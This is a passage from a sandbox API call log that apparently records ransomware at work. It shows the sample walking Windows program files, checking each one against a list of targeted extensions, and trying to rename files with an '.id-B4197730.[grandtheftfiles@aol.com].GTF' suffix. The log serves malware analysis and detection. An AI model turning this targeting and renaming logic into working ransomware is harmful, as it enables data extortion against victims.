	[0154.007] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=199994) returned 1
	[0154.007] CloseHandle (hObject=0x3d8) returned 1
	[0154.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0154.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.007] lstrlenW (lpString=".doc") returned 4
	[0154.007] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.007] lstrlenW (lpString=".docx") returned 5
	[0154.007] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0154.007] lstrlenW (lpString=".pdf") returned 4
	[0154.007] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".xls") returned 4
	[0154.008] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".xlsx") returned 5
	[0154.008] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0154.008] lstrlenW (lpString=".ppt") returned 4
	[0154.008] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString=".zip") returned 4
	[0154.008] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".rar") returned 4
	[0154.008] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".bz2") returned 4
	[0154.008] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".7z") returned 3
	[0154.008] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString=".dbf") returned 4
	[0154.008] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString=".1cd") returned 4
	[0154.008] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString=".jpg") returned 4
	[0154.008] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.008] lstrlenW (lpString=".doc") returned 4
	[0154.008] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".docx") returned 5
	[0154.008] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0154.008] lstrlenW (lpString=".pdf") returned 4
	[0154.008] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".xls") returned 4
	[0154.008] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.008] lstrlenW (lpString=".xlsx") returned 5
	[0154.008] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0154.008] lstrlenW (lpString=".ppt") returned 4
	[0154.009] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.009] lstrlenW (lpString=".zip") returned 4
	[0154.009] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.009] lstrlenW (lpString=".rar") returned 4
	[0154.009] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.009] lstrlenW (lpString=".bz2") returned 4
	[0154.009] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.009] lstrlenW (lpString=".7z") returned 3
	[0154.009] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.009] lstrlenW (lpString=".dbf") returned 4
	[0154.009] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.009] lstrlenW (lpString=".1cd") returned 4
	[0154.009] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0154.009] lstrlenW (lpString=".jpg") returned 4
	[0154.009] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.009] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0154.009] lstrlenW (lpString="split.avi") returned 9
	[0154.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.009] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=181964) returned 1
	[0154.010] CloseHandle (hObject=0x3d8) returned 1
	[0154.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0154.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.010] lstrlenW (lpString=".doc") returned 4
	[0154.010] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".docx") returned 5
	[0154.010] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.010] lstrlenW (lpString=".pdf") returned 4
	[0154.010] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".xls") returned 4
	[0154.010] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".xlsx") returned 5
	[0154.010] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.010] lstrlenW (lpString=".ppt") returned 4
	[0154.010] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.010] lstrlenW (lpString=".zip") returned 4
	[0154.010] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".rar") returned 4
	[0154.010] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".bz2") returned 4
	[0154.010] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString=".7z") returned 3
	[0154.010] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.010] lstrlenW (lpString=".dbf") returned 4
	[0154.010] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".1cd") returned 4
	[0154.011] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".jpg") returned 4
	[0154.011] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".doc") returned 4
	[0154.011] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".docx") returned 5
	[0154.011] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.011] lstrlenW (lpString=".pdf") returned 4
	[0154.011] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".xls") returned 4
	[0154.011] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".xlsx") returned 5
	[0154.011] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.011] lstrlenW (lpString=".ppt") returned 4
	[0154.011] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".zip") returned 4
	[0154.011] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".rar") returned 4
	[0154.011] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".bz2") returned 4
	[0154.011] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString=".7z") returned 3
	[0154.011] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".dbf") returned 4
	[0154.011] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".1cd") returned 4
	[0154.011] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0154.011] lstrlenW (lpString=".jpg") returned 4
	[0154.011] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.012] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0154.012] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0154.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.014] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=1600388) returned 1
	[0154.014] CloseHandle (hObject=0x3d8) returned 1
	[0154.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0154.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.014] lstrlenW (lpString=".doc") returned 4
	[0154.014] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.014] lstrlenW (lpString=".docx") returned 5
	[0154.014] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0154.014] lstrlenW (lpString=".pdf") returned 4
	[0154.014] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.014] lstrlenW (lpString=".xls") returned 4
	[0154.014] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.014] lstrlenW (lpString=".xlsx") returned 5
	[0154.014] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0154.015] lstrlenW (lpString=".ppt") returned 4
	[0154.015] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".zip") returned 4
	[0154.015] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".rar") returned 4
	[0154.015] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".bz2") returned 4
	[0154.015] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".7z") returned 3
	[0154.015] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".dbf") returned 4
	[0154.015] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".1cd") returned 4
	[0154.015] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".jpg") returned 4
	[0154.015] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".doc") returned 4
	[0154.015] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".docx") returned 5
	[0154.015] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0154.015] lstrlenW (lpString=".pdf") returned 4
	[0154.015] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".xls") returned 4
	[0154.015] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString=".xlsx") returned 5
	[0154.015] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0154.015] lstrlenW (lpString=".ppt") returned 4
	[0154.015] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.015] lstrlenW (lpString=".zip") returned 4
	[0154.015] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.016] lstrlenW (lpString=".rar") returned 4
	[0154.016] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.016] lstrlenW (lpString=".bz2") returned 4
	[0154.016] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.016] lstrlenW (lpString=".7z") returned 3
	[0154.016] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.016] lstrlenW (lpString=".dbf") returned 4
	[0154.016] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.016] lstrlenW (lpString=".1cd") returned 4
	[0154.016] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0154.016] lstrlenW (lpString=".jpg") returned 4
	[0154.016] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.016] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.016] lstrlenW (lpString="auxbase.xml") returned 11
	[0154.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.017] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=1434) returned 1
	[0154.017] CloseHandle (hObject=0x3d8) returned 1
	[0154.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0154.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.017] lstrlenW (lpString=".doc") returned 4
	[0154.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.017] lstrlenW (lpString=".docx") returned 5
	[0154.017] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0154.017] lstrlenW (lpString=".pdf") returned 4
	[0154.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.017] lstrlenW (lpString=".xls") returned 4
	[0154.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.017] lstrlenW (lpString=".xlsx") returned 5
	[0154.017] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0154.017] lstrlenW (lpString=".ppt") returned 4
	[0154.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".zip") returned 4
	[0154.018] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.018] lstrlenW (lpString=".rar") returned 4
	[0154.018] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString=".bz2") returned 4
	[0154.018] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString=".7z") returned 3
	[0154.018] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".dbf") returned 4
	[0154.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".1cd") returned 4
	[0154.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".jpg") returned 4
	[0154.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".doc") returned 4
	[0154.018] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString=".docx") returned 5
	[0154.018] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0154.018] lstrlenW (lpString=".pdf") returned 4
	[0154.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString=".xls") returned 4
	[0154.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString=".xlsx") returned 5
	[0154.018] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0154.018] lstrlenW (lpString=".ppt") returned 4
	[0154.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.018] lstrlenW (lpString=".zip") returned 4
	[0154.018] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.018] lstrlenW (lpString=".rar") returned 4
	[0154.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.019] lstrlenW (lpString=".bz2") returned 4
	[0154.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.019] lstrlenW (lpString=".7z") returned 3
	[0154.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.019] lstrlenW (lpString=".dbf") returned 4
	[0154.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.019] lstrlenW (lpString=".1cd") returned 4
	[0154.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0154.019] lstrlenW (lpString=".jpg") returned 4
	[0154.019] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.019] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.019] lstrlenW (lpString="auxpad.xml") returned 10
	[0154.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.020] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=212) returned 1
	[0154.020] CloseHandle (hObject=0x3d8) returned 1
	[0154.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0154.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0154.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0154.020] lstrlenW (lpString=".doc") returned 4
	[0154.020] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.020] lstrlenW (lpString=".docx") returned 5
	[0154.020] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0154.020] lstrlenW (lpString=".pdf") returned 4
	[0154.020] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.020] lstrlenW (lpString=".xls") returned 4
	[0154.020] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.020] lstrlenW (lpString=".xlsx") returned 5
	[0154.020] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0154.020] lstrlenW (lpString=".ppt") returned 4
	[0154.020] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0154.021] lstrlenW (lpString=".zip") returned 4
	[0154.021] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.021] lstrlenW (lpString=".rar") returned 4
	[0154.021] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.021] lstrlenW (lpString=".bz2") returned 4
